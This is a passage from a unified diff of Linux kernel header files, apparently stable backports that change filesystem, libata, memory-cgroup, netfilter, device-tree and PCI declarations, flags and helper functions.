invalid after file_free is called and queued via - * fu_rcuhead for RCU freeing - */ union { - struct list_head fu_list; + struct llist_node fu_llist; struct rcu_head fu_rcuhead; } f_u; struct path f_path; @@ -780,9 +777,6 @@ struct file { * Must not be taken from IRQ context. */ spinlock_t f_lock; -#ifdef CONFIG_SMP - int f_sb_list_cpu; -#endif atomic_long_t f_count; unsigned int f_flags; fmode_t f_mode; @@ -1258,11 +1252,6 @@ struct super_block { struct list_head s_inodes; /* all inodes */ struct hlist_bl_head s_anon; /* anonymous dentries for (nfs) exporting */ -#ifdef CONFIG_SMP - struct list_head __percpu *s_files; -#else - struct list_head s_files; -#endif struct list_head s_mounts; /* list of mounts; _not_ for fs use */ /* s_dentry_lru, s_nr_dentry_unused protected by dcache.c lru locks */ struct list_head s_dentry_lru; /* unused dentry lru */ @@ -2494,6 +2483,7 @@ extern void generic_fillattr(struct inode *, struct kstat *); extern int vfs_getattr(struct path *, struct kstat *); void __inode_add_bytes(struct inode *inode, loff_t bytes); void inode_add_bytes(struct inode *inode, loff_t bytes); +void __inode_sub_bytes(struct inode *inode, loff_t bytes); void inode_sub_bytes(struct inode *inode, loff_t bytes); loff_t inode_get_bytes(struct inode *inode); void inode_set_bytes(struct inode *inode, loff_t bytes); diff --git a/include/linux/fsnotify.h b/include/linux/fsnotify.h index a78680a92dba3..661c0aeef1c4b 100644 --- a/include/linux/fsnotify.h +++ b/include/linux/fsnotify.h @@ -101,8 +101,10 @@ static inline void fsnotify_move(struct inode *old_dir, struct inode *new_dir, new_dir_mask |= FS_ISDIR; } - fsnotify(old_dir, old_dir_mask, old_dir, FSNOTIFY_EVENT_INODE, old_name, fs_cookie); - fsnotify(new_dir, new_dir_mask, new_dir, FSNOTIFY_EVENT_INODE, new_name, fs_cookie); + fsnotify(old_dir, old_dir_mask, source, FSNOTIFY_EVENT_INODE, old_name, + fs_cookie); + fsnotify(new_dir, new_dir_mask, source, FSNOTIFY_EVENT_INODE, new_name, + fs_cookie); if (target) fsnotify_link_count(target); diff --git a/include/linux/iio/events.h b/include/linux/iio/events.h index 13ce220c70036..593ae7ce07c76 100644 --- a/include/linux/iio/events.h +++ b/include/linux/iio/events.h @@ -90,7 +90,7 @@ enum iio_event_direction { #define IIO_EVENT_CODE_EXTRACT_TYPE(mask) ((mask >> 56) & 0xFF) -#define IIO_EVENT_CODE_EXTRACT_DIR(mask) ((mask >> 48) & 0xCF) +#define IIO_EVENT_CODE_EXTRACT_DIR(mask) ((mask >> 48) & 0x7F) #define IIO_EVENT_CODE_EXTRACT_CHAN_TYPE(mask) ((mask >> 32) & 0xFF) diff --git a/include/linux/iio/iio.h b/include/linux/iio/iio.h index 3d35b7023591f..683911167953d 100644 --- a/include/linux/iio/iio.h +++ b/include/linux/iio/iio.h @@ -568,6 +568,15 @@ int iio_str_to_fixpoint(const char *str, int fract_mult, int *integer, */ #define IIO_DEGREE_TO_RAD(deg) (((deg) * 314159ULL + 9000000ULL) / 18000000ULL) +/** + * IIO_RAD_TO_DEGREE() - Convert rad to degree + * @rad: A value in rad + * + * Returns the given value converted from rad to degree + */ +#define IIO_RAD_TO_DEGREE(rad) \ + (((rad) * 18000000ULL + 314159ULL / 2) / 314159ULL) + /** * IIO_G_TO_M_S_2() - Convert g to meter / second**2 * @g: A value in g @@ -576,4 +585,12 @@ int iio_str_to_fixpoint(const char *str, int fract_mult, int *integer, */ #define IIO_G_TO_M_S_2(g) ((g) * 980665ULL / 100000ULL) +/** + * IIO_M_S_2_TO_G() - Convert meter / second**2 to g + * @ms2: A value in meter / second**2 + * + * Returns the given value converted from meter / second**2 to g + */ +#define IIO_M_S_2_TO_G(ms2) (((ms2) * 100000ULL + 980665ULL / 2) / 980665ULL) + #endif /* _INDUSTRIAL_IO_H_ */ diff --git a/include/linux/iio/trigger.h b/include/linux/iio/trigger.h index 3869c525b0521..545deb1496557 100644 --- a/include/linux/iio/trigger.h +++ b/include/linux/iio/trigger.h @@ -83,10 +83,12 @@ static inline void iio_trigger_put(struct iio_trigger *trig) put_device(&trig->dev); } -static inline void iio_trigger_get(struct iio_trigger *trig) +static inline struct iio_trigger *iio_trigger_get(struct iio_trigger *trig) { get_device(&trig->dev); __module_get(trig->ops->owner); + + return trig; } /** diff --git a/include/linux/inetdevice.h b/include/linux/inetdevice.h index ea1e3b8638900..770ecc90993bf 100644 --- a/include/linux/inetdevice.h +++ b/include/linux/inetdevice.h @@ -261,7 +261,7 @@ static inline void in_dev_put(struct in_device *idev) static __inline__ __be32 inet_make_mask(int logmask) { if (logmask) - return htonl(~((1<<(32-logmask))-1)); + return htonl(~((1U<<(32-logmask))-1)); return 0; } diff --git a/include/linux/interrupt.h b/include/linux/interrupt.h index 70cc1717299b2..890d348320003 100644 --- a/include/linux/interrupt.h +++ b/include/linux/interrupt.h @@ -11,8 +11,6 @@ #include #include #include -#include -#include #include #include #include @@ -422,15 +420,6 @@ extern void __raise_softirq_irqoff(unsigned int nr); extern void raise_softirq_irqoff(unsigned int nr); extern void raise_softirq(unsigned int nr); -/* This is the worklist that queues up per-cpu softirq work. - * - * send_remote_sendirq() adds work to these lists, and - * the softirq handler itself dequeues from them. The queues - * are protected by disabling local cpu interrupts and they must - * only be accessed by the local cpu that they are for. - */ -DECLARE_PER_CPU(struct list_head [NR_SOFTIRQS], softirq_work_list); - DECLARE_PER_CPU(struct task_struct *, ksoftirqd); static inline struct task_struct *this_cpu_ksoftirqd(void) @@ -438,17 +427,6 @@ static inline struct task_struct *this_cpu_ksoftirqd(void) return this_cpu_read(ksoftirqd); } -/* Try to send a softirq to a remote cpu. If this cannot be done, the - * work will be queued to the local cpu. - */ -extern void send_remote_softirq(struct call_single_data *cp, int cpu, int softirq); - -/* Like send_remote_softirq(), but the caller must disable local cpu interrupts - * and compute the current cpu, passed in as 'this_cpu'. - */ -extern void __send_remote_softirq(struct call_single_data *cp, int cpu, - int this_cpu, int softirq); - /* Tasklets --- multithreaded analogue of BHs. Main feature differing them of generic softirqs: tasklet diff --git a/include/linux/jbd2.h b/include/linux/jbd2.h index 6e051f472edb6..7d4a932305be8 100644 --- a/include/linux/jbd2.h +++ b/include/linux/jbd2.h @@ -977,6 +977,7 @@ struct journal_s #define JBD2_ABORT_ON_SYNCDATA_ERR 0x040 /* Abort the journal on file * data write error in ordered * mode */ +#define JBD2_REC_ERR 0x080 /* The errno in the sb has been recorded */ /* * Function declarations for the journaling transaction and buffer @@ -997,7 +998,7 @@ extern struct journal_head * jbd2_journal_get_descriptor_buffer(journal_t *); int jbd2_journal_next_log_block(journal_t *, unsigned long long *); int jbd2_journal_get_log_tail(journal_t *journal, tid_t *tid, unsigned long *block); -void __jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block); +int __jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block); void jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block); /* Commit management */ @@ -1116,7 +1117,7 @@ extern int jbd2_journal_recover (journal_t *journal); extern int jbd2_journal_wipe (journal_t *, int); extern int jbd2_journal_skip_recovery (journal_t *); extern void jbd2_journal_update_sb_errno(journal_t *); -extern void jbd2_journal_update_sb_log_tail (journal_t *, tid_t, +extern int jbd2_journal_update_sb_log_tail (journal_t *, tid_t, unsigned long, int); extern void __jbd2_journal_abort_hard (journal_t *); extern void jbd2_journal_abort (journal_t *, int); diff --git a/include/linux/jiffies.h b/include/linux/jiffies.h index 7b5d4a8ab199d..c039fe1315eb3 100644 --- a/include/linux/jiffies.h +++ b/include/linux/jiffies.h @@ -254,23 +254,11 @@ extern unsigned long preset_lpj; #define SEC_JIFFIE_SC (32 - SHIFT_HZ) #endif #define NSEC_JIFFIE_SC (SEC_JIFFIE_SC + 29) -#define USEC_JIFFIE_SC (SEC_JIFFIE_SC + 19) #define SEC_CONVERSION ((unsigned long)((((u64)NSEC_PER_SEC << SEC_JIFFIE_SC) +\ TICK_NSEC -1) / (u64)TICK_NSEC)) #define NSEC_CONVERSION ((unsigned long)((((u64)1 << NSEC_JIFFIE_SC) +\ TICK_NSEC -1) / (u64)TICK_NSEC)) -#define USEC_CONVERSION \ - ((unsigned long)((((u64)NSEC_PER_USEC << USEC_JIFFIE_SC) +\ - TICK_NSEC -1) / (u64)TICK_NSEC)) -/* - * USEC_ROUND is used in the timeval to jiffie conversion. See there - * for more details. It is the scaled resolution rounding value. Note - * that it is a 64-bit value. Since, when it is applied, we are already - * in jiffies (albit scaled), it is nothing but the bits we will shift - * off. - */ -#define USEC_ROUND (u64)(((u64)1 << USEC_JIFFIE_SC) - 1) /* * The maximum jiffie value is (MAX_INT >> 1). Here we translate that * into seconds. The 64-bit case will overflow if we are not careful, diff --git a/include/linux/kernel.h b/include/linux/kernel.h index 1bd97aa78ce18..64e7601b9e199 100644 --- a/include/linux/kernel.h +++ b/include/linux/kernel.h @@ -554,7 +554,7 @@ do { \ #define do_trace_printk(fmt, args...) \ do { \ - static const char *trace_printk_fmt \ + static const char *trace_printk_fmt __used \ __attribute__((section("__trace_printk_fmt"))) = \ __builtin_constant_p(fmt) ? fmt : NULL; \ \ @@ -601,7 +601,7 @@ extern int __trace_puts(unsigned long ip, const char *str, int size); */ #define trace_puts(str) ({ \ - static const char *trace_printk_fmt \ + static const char *trace_printk_fmt __used \ __attribute__((section("__trace_printk_fmt"))) = \ __builtin_constant_p(str) ? str : NULL; \ \ @@ -621,7 +621,7 @@ extern void trace_dump_stack(int skip); #define ftrace_vprintk(fmt, vargs) \ do { \ if (__builtin_constant_p(fmt)) { \ - static const char *trace_printk_fmt \ + static const char *trace_printk_fmt __used \ __attribute__((section("__trace_printk_fmt"))) = \ __builtin_constant_p(fmt) ? fmt : NULL; \ \ diff --git a/include/linux/kgdb.h b/include/linux/kgdb.h index c6e091bf39a52..bdfc95bddde96 100644 --- a/include/linux/kgdb.h +++ b/include/linux/kgdb.h @@ -283,7 +283,7 @@ struct kgdb_io { extern struct kgdb_arch arch_kgdb_ops; -extern unsigned long __weak kgdb_arch_pc(int exception, struct pt_regs *regs); +extern unsigned long kgdb_arch_pc(int exception, struct pt_regs *regs); #ifdef CONFIG_SERIAL_KGDB_NMI extern int kgdb_register_nmi_console(void); diff --git a/include/linux/libata.h b/include/linux/libata.h index eec130af2dfa4..8017e5c459cfe 100644 --- a/include/linux/libata.h +++ b/include/linux/libata.h @@ -187,6 +187,7 @@ enum { ATA_LFLAG_SW_ACTIVITY = (1 << 7), /* keep activity stats */ ATA_LFLAG_NO_LPM = (1 << 8), /* disable LPM on this link */ ATA_LFLAG_RST_ONCE = (1 << 9), /* limit recovery to one reset */ + ATA_LFLAG_CHANGED = (1 << 10), /* LPM state changed on this link */ /* struct ata_port flags */ ATA_FLAG_SLAVE_POSS = (1 << 0), /* host supports slave dev */ @@ -289,6 +290,12 @@ enum { */ ATA_TMOUT_PMP_SRST_WAIT = 5000, + /* When the LPM policy is set to ATA_LPM_MAX_POWER, there might + * be a spurious PHY event, so ignore the first PHY event that + * occurs within 10s after the policy change. + */ + ATA_TMOUT_SPURIOUS_PHY = 10000, + /* ATA bus states */ BUS_UNKNOWN = 0, BUS_DMA = 1, @@ -402,6 +409,7 @@ enum { ATA_HORKAGE_ATAPI_DMADIR = (1 << 18), /* device requires dmadir */ ATA_HORKAGE_NOLPM = (1 << 20), /* don't use LPM */ ATA_HORKAGE_WD_BROKEN_LPM = (1 << 21), /* some WDs have broken LPM */ + ATA_HORKAGE_NOTRIM = (1 << 24), /* don't use TRIM */ /* DMA mask for user DMA control: User visible values; DO NOT renumber */ @@ -547,6 +555,7 @@ struct ata_host { struct device *dev; void __iomem * const *iomap; unsigned int n_ports; + unsigned int n_tags; /* nr of NCQ tags */ void *private_data; struct ata_port_operations *ops; unsigned long flags; @@ -657,7 +666,7 @@ struct ata_device { union { u16 id[ATA_ID_WORDS]; /* IDENTIFY xxx DEVICE data */ u32 gscr[SATA_PMP_GSCR_DWORDS]; /* PMP GSCR block */ - }; + } ____cacheline_aligned; /* DEVSLP Timing Variables from Identify Device Data Log */ u8 devslp_timing[ATA_LOG_DEVSLP_SIZE]; @@ -735,6 +744,8 @@ struct ata_link { struct ata_eh_context eh_context; struct ata_device device[ATA_MAX_DEVICES]; + + unsigned long last_lpm_change; /* when last LPM change happened */ }; #define ATA_LINK_CLEAR_BEGIN offsetof(struct ata_link, active_tag) #define ATA_LINK_CLEAR_END offsetof(struct ata_link, device[0]) @@ -1084,6 +1095,7 @@ extern struct ata_device *ata_dev_pair(struct ata_device *adev); extern int ata_do_set_mode(struct ata_link *link, struct ata_device **r_failed_dev); extern void ata_scsi_port_error_handler(struct Scsi_Host *host, struct ata_port *ap); extern void ata_scsi_cmd_error_handler(struct Scsi_Host *host, struct ata_port *ap, struct list_head *eh_q); +extern bool sata_lpm_ignore_phy_events(struct ata_link *link); extern int ata_cable_40wire(struct ata_port *ap); extern int ata_cable_80wire(struct ata_port *ap); diff --git a/include/linux/lockd/lockd.h b/include/linux/lockd/lockd.h index dcaad79f54ed5..0adf073f13b3e 100644 --- a/include/linux/lockd/lockd.h +++ b/include/linux/lockd/lockd.h @@ -236,7 +236,8 @@ void nlm_rebind_host(struct nlm_host *); struct nlm_host * nlm_get_host(struct nlm_host *); void nlm_shutdown_hosts(void); void nlm_shutdown_hosts_net(struct net *net); -void nlm_host_rebooted(const struct nlm_reboot *); +void nlm_host_rebooted(const struct net *net, + const struct nlm_reboot *); /* * Host monitoring @@ -244,11 +245,13 @@ void nlm_host_rebooted(const struct nlm_reboot *); int nsm_monitor(const struct nlm_host *host); void nsm_unmonitor(const struct nlm_host *host); -struct nsm_handle *nsm_get_handle(const struct sockaddr *sap, +struct nsm_handle *nsm_get_handle(const struct net *net, + const struct sockaddr *sap, const size_t salen, const char *hostname, const size_t hostname_len); -struct nsm_handle *nsm_reboot_lookup(const struct nlm_reboot *info); +struct nsm_handle *nsm_reboot_lookup(const struct net *net, + const struct nlm_reboot *info); void nsm_release(struct nsm_handle *nsm); /* diff --git a/include/linux/mbus.h b/include/linux/mbus.h index dba482e31a130..e80b9c7ec8da3 100644 --- a/include/linux/mbus.h +++ b/include/linux/mbus.h @@ -67,6 +67,6 @@ int mvebu_mbus_add_window(const char *devname, phys_addr_t base, int mvebu_mbus_del_window(phys_addr_t base, size_t size); int mvebu_mbus_init(const char *soc, phys_addr_t mbus_phys_base, size_t mbus_size, phys_addr_t sdram_phys_base, - size_t sdram_size); + size_t sdram_size, int is_coherent); #endif /* __LINUX_MBUS_H */ diff --git a/include/linux/memcontrol.h b/include/linux/memcontrol.h index d6183f06d8c18..a3b4812f494f0 100644 --- a/include/linux/memcontrol.h +++ b/include/linux/memcontrol.h @@ -124,6 +124,25 @@ extern void mem_cgroup_print_oom_info(struct mem_cgroup *memcg, extern void mem_cgroup_replace_page_cache(struct page *oldpage, struct page *newpage); +static inline void mem_cgroup_oom_enable(void) +{ + WARN_ON(current->memcg_oom.may_oom); + current->memcg_oom.may_oom = 1; +} + +static inline void mem_cgroup_oom_disable(void) +{ + WARN_ON(!current->memcg_oom.may_oom); + current->memcg_oom.may_oom = 0; +} + +static inline bool task_in_memcg_oom(struct task_struct *p) +{ + return p->memcg_oom.memcg; +} + +bool mem_cgroup_oom_synchronize(bool wait); + #ifdef CONFIG_MEMCG_SWAP extern int do_swap_account; #endif @@ -347,6 +366,24 @@ static inline void mem_cgroup_end_update_page_stat(struct page *page, { } +static inline void mem_cgroup_oom_enable(void) +{ +} + +static inline void mem_cgroup_oom_disable(void) +{ +} + +static inline bool task_in_memcg_oom(struct task_struct *p) +{ + return false; +} + +static inline bool mem_cgroup_oom_synchronize(bool wait) +{ + return false; +} + static inline void mem_cgroup_inc_page_stat(struct page *page, enum mem_cgroup_page_stat_item idx) { diff --git a/include/linux/migrate.h b/include/linux/migrate.h index a405d3dc0f61f..e986927480668 100644 --- a/include/linux/migrate.h +++ b/include/linux/migrate.h @@ -55,6 +55,9 @@ extern int migrate_vmas(struct mm_struct *mm, extern void migrate_page_copy(struct page *newpage, struct page *page); extern int migrate_huge_page_move_mapping(struct address_space *mapping, struct page *newpage, struct page *page); +extern int migrate_page_move_mapping(struct address_space *mapping, + struct page *newpage, struct page *page, + struct buffer_head *head, enum migrate_mode mode); #else static inline void putback_lru_pages(struct list_head *l) {} diff --git a/include/linux/mm.h b/include/linux/mm.h index a9ab1492e8d1f..4c36c7e434c7e 100644 --- a/include/linux/mm.h +++ b/include/linux/mm.h @@ -911,6 +911,7 @@ static inline int page_mapped(struct page *page) #define VM_FAULT_WRITE 0x0008 /* Special case for get_user_pages */ #define VM_FAULT_HWPOISON 0x0010 /* Hit poisoned small page */ #define VM_FAULT_HWPOISON_LARGE 0x0020 /* Hit poisoned large page. Index encoded in upper bits */ +#define VM_FAULT_SIGSEGV 0x0040 #define VM_FAULT_NOPAGE 0x0100 /* ->fault installed the pte, not return page */ #define VM_FAULT_LOCKED 0x0200 /* ->fault locked the returned page */ @@ -918,8 +919,8 @@ static inline int page_mapped(struct page *page) #define VM_FAULT_HWPOISON_LARGE_MASK 0xf000 /* encodes hpage index for large hwpoison */ -#define VM_FAULT_ERROR (VM_FAULT_OOM | VM_FAULT_SIGBUS | VM_FAULT_HWPOISON | \ - VM_FAULT_HWPOISON_LARGE) +#define VM_FAULT_ERROR (VM_FAULT_OOM | VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV | \ + VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE) /* Encode hstate index for a hwpoisoned large page */ #define VM_FAULT_SET_HINDEX(x) ((x) << 12) @@ -1026,6 +1027,7 @@ static inline void unmap_shared_mapping_range(struct address_space *mapping, extern void truncate_pagecache(struct inode *inode, loff_t old, loff_t new); extern void truncate_setsize(struct inode *inode, loff_t newsize); +void pagecache_isize_extended(struct inode *inode, loff_t from, loff_t to); void truncate_pagecache_range(struct inode *inode, loff_t offset, loff_t end); int truncate_inode_page(struct address_space *mapping, struct page *page); int generic_error_remove_page(struct address_space *mapping, struct page *page); @@ -1661,7 +1663,7 @@ extern int expand_downwards(struct vm_area_struct *vma, #if VM_GROWSUP extern int expand_upwards(struct vm_area_struct *vma, unsigned long address); #else - #define expand_upwards(vma, address) do { } while (0) + #define expand_upwards(vma, address) (0) #endif /* Look up the first VMA which satisfies addr < vm_end, NULL if none. */ diff --git a/include/linux/mod_devicetable.h b/include/linux/mod_devicetable.h index 1721c0a3c4e31..81ca5d328a8bf 100644 --- a/include/linux/mod_devicetable.h +++ b/include/linux/mod_devicetable.h @@ -397,6 +397,7 @@ struct virtio_device_id { /* * For Hyper-V devices we use the device guid as the id. */ +#define vmbus_device_id hv_vmbus_device_id struct hv_vmbus_device_id { __u8 guid[16]; kernel_ulong_t driver_data; /* Data private to the driver */ @@ -575,6 +576,11 @@ struct amba_id { * See documentation of "x86_match_cpu" for details. */ +/* + * MODULE_DEVICE_TABLE expects this struct to be called x86cpu_device_id. + * Although gcc seems to ignore this error, clang fails without this define. + */ +#define x86cpu_device_id x86_cpu_id struct x86_cpu_id { __u16 vendor; __u16 family; @@ -611,6 +617,7 @@ struct ipack_device_id { #define MEI_CL_MODULE_PREFIX "mei:" #define MEI_CL_NAME_SIZE 32 +#define mei_device_id mei_cl_device_id struct mei_cl_device_id { char name[MEI_CL_NAME_SIZE]; kernel_ulong_t driver_info; diff --git a/include/linux/mount.h b/include/linux/mount.h index 16fc05d816d4a..8eeb8f6ab1101 100644 --- a/include/linux/mount.h +++ b/include/linux/mount.h @@ -46,9 +46,14 @@ struct mnt_namespace; | MNT_NOATIME | MNT_NODIRATIME | MNT_RELATIME \ | MNT_READONLY) +#define MNT_ATIME_MASK (MNT_NOATIME | MNT_NODIRATIME | MNT_RELATIME ) #define MNT_INTERNAL 0x4000 +#define MNT_LOCK_ATIME 0x040000 +#define MNT_LOCK_NOEXEC 0x080000 +#define MNT_LOCK_NOSUID 0x100000 +#define MNT_LOCK_NODEV 0x200000 #define MNT_LOCK_READONLY 0x400000 struct vfsmount { diff --git a/include/linux/netfilter/x_tables.h b/include/linux/netfilter/x_tables.h index dd49566315c61..547a5846e6ac4 100644 --- a/include/linux/netfilter/x_tables.h +++ b/include/linux/netfilter/x_tables.h @@ -239,11 +239,18 @@ extern void xt_unregister_match(struct xt_match *target); extern int xt_register_matches(struct xt_match *match, unsigned int n); extern void xt_unregister_matches(struct xt_match *match, unsigned int n); +int xt_check_entry_offsets(const void *base, const char *elems, + unsigned int target_offset, + unsigned int next_offset); + extern int xt_check_match(struct xt_mtchk_param *, unsigned int size, u_int8_t proto, bool inv_proto); extern int xt_check_target(struct xt_tgchk_param *, unsigned int size, u_int8_t proto, bool inv_proto); +void *xt_copy_counters_from_user(const void __user *user, unsigned int len, + struct xt_counters_info *info, bool compat); + extern struct xt_table *xt_register_table(struct net *net, const struct xt_table *table, struct xt_table_info *bootstrap, @@ -423,7 +430,7 @@ extern void xt_compat_init_offsets(u_int8_t af, unsigned int number); extern int xt_compat_calc_jump(u_int8_t af, unsigned int offset); extern int xt_compat_match_offset(const struct xt_match *match); -extern int xt_compat_match_from_user(struct xt_entry_match *m, +extern void xt_compat_match_from_user(struct xt_entry_match *m, void **dstptr, unsigned int *size); extern int xt_compat_match_to_user(const struct xt_entry_match *m, void __user **dstptr, unsigned int *size); @@ -433,6 +440,9 @@ extern void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr, unsigned int *size); extern int xt_compat_target_to_user(const struct xt_entry_target *t, void __user **dstptr, unsigned int *size); +int xt_compat_check_entry_offsets(const void *base, const char *elems, + unsigned int target_offset, + unsigned int next_offset); #endif /* CONFIG_COMPAT */ #endif /* _X_TABLES_H */ diff --git a/include/linux/nfs_fs.h b/include/linux/nfs_fs.h index fc01d5cb4cf1e..7d2021d3ee082 100644 --- a/include/linux/nfs_fs.h +++ b/include/linux/nfs_fs.h @@ -578,9 +578,7 @@ static inline void nfs3_forget_cached_acls(struct inode *inode) static inline loff_t nfs_size_to_loff_t(__u64 size) { - if (size > (__u64) OFFSET_MAX - 1) - return OFFSET_MAX - 1; - return (loff_t) size; + return min_t(u64, size, OFFSET_MAX); } static inline ino_t diff --git a/include/linux/nfs_xdr.h b/include/linux/nfs_xdr.h index 104b62f23ee02..a9e5134c2936f 100644 --- a/include/linux/nfs_xdr.h +++ b/include/linux/nfs_xdr.h @@ -1094,7 +1094,7 @@ struct pnfs_ds_commit_info { struct pnfs_commit_bucket *buckets; }; -#define NFS4_EXCHANGE_ID_LEN (48) +#define NFS4_EXCHANGE_ID_LEN (127) struct nfs41_exchange_id_args { struct nfs_client *client; nfs4_verifier *verifier; @@ -1184,11 +1184,22 @@ struct nfs41_free_stateid_res { unsigned int status; }; +static inline void +nfs_free_pnfs_ds_cinfo(struct pnfs_ds_commit_info *cinfo) +{ + kfree(cinfo->buckets); +} + #else struct pnfs_ds_commit_info { }; +static inline void +nfs_free_pnfs_ds_cinfo(struct pnfs_ds_commit_info *cinfo) +{ +} + #endif /* CONFIG_NFS_V4_1 */ struct nfs_page; diff --git a/include/linux/nilfs2_fs.h b/include/linux/nilfs2_fs.h index 98755767c7b06..1108acaacfc62 100644 --- a/include/linux/nilfs2_fs.h +++ b/include/linux/nilfs2_fs.h @@ -458,7 +458,7 @@ struct nilfs_btree_node { /* level */ #define NILFS_BTREE_LEVEL_DATA 0 #define NILFS_BTREE_LEVEL_NODE_MIN (NILFS_BTREE_LEVEL_DATA + 1) -#define NILFS_BTREE_LEVEL_MAX 14 +#define NILFS_BTREE_LEVEL_MAX 14 /* Max level (exclusive) */ /** * struct nilfs_palloc_group_desc - block group descriptor diff --git a/include/linux/of.h b/include/linux/of.h index a5b495fd6ff7a..27415dfda80f1 100644 --- a/include/linux/of.h +++ b/include/linux/of.h @@ -254,14 +254,12 @@ extern int of_property_read_u64(const struct device_node *np, extern int of_property_read_string(struct device_node *np, const char *propname, const char **out_string); -extern int of_property_read_string_index(struct device_node *np, - const char *propname, - int index, const char **output); extern int of_property_match_string(struct device_node *np, const char *propname, const char *string); -extern int of_property_count_strings(struct device_node *np, - const char *propname); +extern int of_property_read_string_helper(struct device_node *np, + const char *propname, + const char **out_strs, size_t sz, int index); extern int of_device_is_compatible(const struct device_node *device, const char *); extern int of_device_is_available(const struct device_node *device); @@ -442,15 +440,9 @@ static inline int of_property_read_string(struct device_node *np, return -ENOSYS; } -static inline int of_property_read_string_index(struct device_node *np, - const char *propname, int index, - const char **out_string) -{ - return -ENOSYS; -} - -static inline int of_property_count_strings(struct device_node *np, - const char *propname) +static inline int of_property_read_string_helper(struct device_node *np, + const char *propname, + const char **out_strs, size_t sz, int index) { return -ENOSYS; } @@ -531,6 +523,70 @@ static inline int of_node_to_nid(struct device_node *np) #define of_node_to_nid of_node_to_nid #endif +/** + * of_property_read_string_array() - Read an array of strings from a multiple + * strings property. + * @np: device node from which the property value is to be read. + * @propname: name of the property to be searched. + * @out_strs: output array of string pointers. + * @sz: number of array elements to read. + * + * Search for a property in a device tree node and retrieve a list of + * terminated string values (pointer to data, not a copy) in that property. + * + * If @out_strs is NULL, the number of strings in the property is returned. + */ +static inline int of_property_read_string_array(struct device_node *np, + const char *propname, const char **out_strs, + size_t sz) +{ + return of_property_read_string_helper(np, propname, out_strs, sz, 0); +} + +/** + * of_property_count_strings() - Find and return the number of strings from a + * multiple strings property. + * @np: device node from which the property value is to be read. + * @propname: name of the property to be searched. + * + * Search for a property in a device tree node and retrieve the number of null + * terminated string contain in it. Returns the number of strings on + * success, -EINVAL if the property does not exist, -ENODATA if property + * does not have a value, and -EILSEQ if the string is not null-terminated + * within the length of the property data. + */ +static inline int of_property_count_strings(struct device_node *np, + const char *propname) +{ + return of_property_read_string_helper(np, propname, NULL, 0, 0); +} + +/** + * of_property_read_string_index() - Find and read a string from a multiple + * strings property. + * @np: device node from which the property value is to be read. + * @propname: name of the property to be searched. + * @index: index of the string in the list of strings + * @out_string: pointer to null terminated return string, modified only if + * return value is 0. + * + * Search for a property in a device tree node and retrieve a null + * terminated string value (pointer to data, not a copy) in the list of strings + * contained in that property. + * Returns 0 on success, -EINVAL if the property does not exist, -ENODATA if + * property does not have a value, and -EILSEQ if the string is not + * null-terminated within the length of the property data. + * + * The out_string pointer is modified only if a valid string can be decoded. + */ +static inline int of_property_read_string_index(struct device_node *np, + const char *propname, + int index, const char **output) +{ + int rc = of_property_read_string_helper(np, propname, output, 1, index); + return rc < 0 ? rc : 0; +} + /** * of_property_read_bool - Findfrom a property * @np: device node from which the property value is to be read. diff --git a/include/linux/oom.h b/include/linux/oom.h index 70e9a102fb645..b16a9f5abab60 100644 --- a/include/linux/oom.h +++ b/include/linux/oom.h @@ -50,6 +50,9 @@ static inline bool oom_task_origin(const struct task_struct *p) extern unsigned long oom_badness(struct task_struct *p, struct mem_cgroup *memcg, const nodemask_t *nodemask, unsigned long totalpages); + +extern int oom_kills_count(void); +extern void note_oom_kill(void); extern void oom_kill_process(struct task_struct *p, gfp_t gfp_mask, int order, unsigned int points, unsigned long totalpages, struct mem_cgroup *memcg, nodemask_t *nodemask, diff --git a/include/linux/pci.h b/include/linux/pci.h index 59969c376a8c5..89ce723e71e91 100644 --- a/include/linux/pci.h +++ b/include/linux/pci.h @@ -310,6 +310,7 @@ struct pci_dev { unsigned int is_added:1; unsigned int is_busmaster:1; /* device is busmaster */ unsigned int no_msi:1; /* device may not use msi */ + unsigned int no_64bit_msi:1; /* device may only use 32-bit MSIs */ unsigned int block_cfg_access:1; /* config space access is blocked */ unsigned int broken_parity_status:1; /* Device generates false positive parity */ unsigned int irq_reroute_variant:2; /* device needs IRQ rerouting variant */ @@ -329,6 +330,7 @@ struct pci_dev { unsigned int __aer_firmware_first:1; unsigned int broken_intx_masking:1; unsigned int io_window_1k:1; /* Intel P2P bridge 1K I/O windows */ + unsigned int non_compliant_bars:1; /* broken BARs; ignore them */ pci_dev_flags_t dev_flags; atomic_t enable_cnt; /* pci_enable_device has been called */ diff --git a/include/linux/pci_ids.h b/include/linux/pci_ids.h index 6c7bb35ad6d11..302182a2f99df 100644 --- a/include/linux/pci_ids.h +++ b/include/linux/pci_ids.h @@ -2472,6 +2472,13 @@ #define PCI_DEVICE_ID_KORENIX_JETCARDF2 0x1700 #define PCI_DEVICE_ID_KORENIX_JETCARDF3 0x17ff +#define PCI_VENDOR_ID_NETRONOME 0x19ee +#define PCI_DEVICE_ID_NETRONOME_NFP3200 0x3200 +#define PCI_DEVICE_ID_NETRONOME_NFP3240 0x3240 +#define PCI_DEVICE_ID_NETRONOME_NFP4000 0x4000 +#define PCI_DEVICE_ID_NETRONOME_NFP6000 0x6000 +#define PCI_DEVICE_ID_NETRONOME_NFP6000_VF 0x6003 + #define PCI_VENDOR_ID_QMI 0x1a32 #define PCI_VENDOR_ID_AZWAVE 0x1a3b diff --git a/include/linux/printk.h b/include/linux/printk.h index 2f9f40c8f2bea..e5db9639490d7 100644 --- a/include/linux/printk.h +++ b/include/linux/printk.h @@ -124,9 +124,9 @@ asmlinkage __printf(1, 2) __cold int printk(const char *fmt, ...); /* - * Special printk facility for scheduler use only, _DO_NOT_USE_ ! + * Special printk facility for scheduler/timekeeping use only, _DO_NOT_USE_ ! */ -__printf(1, 2) __cold int printk_sched(const char *fmt, ...); +__printf(1, 2) __cold int printk_deferred(const char *fmt, ...); /* * Please don't use printk_ratelimit(), because it shares ratelimiting state @@ -161,7 +161,7 @@ int printk(const char *s, ...) return 0; } static inline __printf(1, 2) __cold -int printk_sched(const char *s, ...) +int printk_deferred(const char *s, ...) { return 0; } diff --git a/include/linux/pstore_ram.h b/include/linux/pstore_ram.h index 2c8e5dd7a762b..712757f320a45 100644 --- a/include/linux/pstore_ram.h +++ b/include/linux/pstore_ram.h @@ -53,7 +53,8 @@ struct 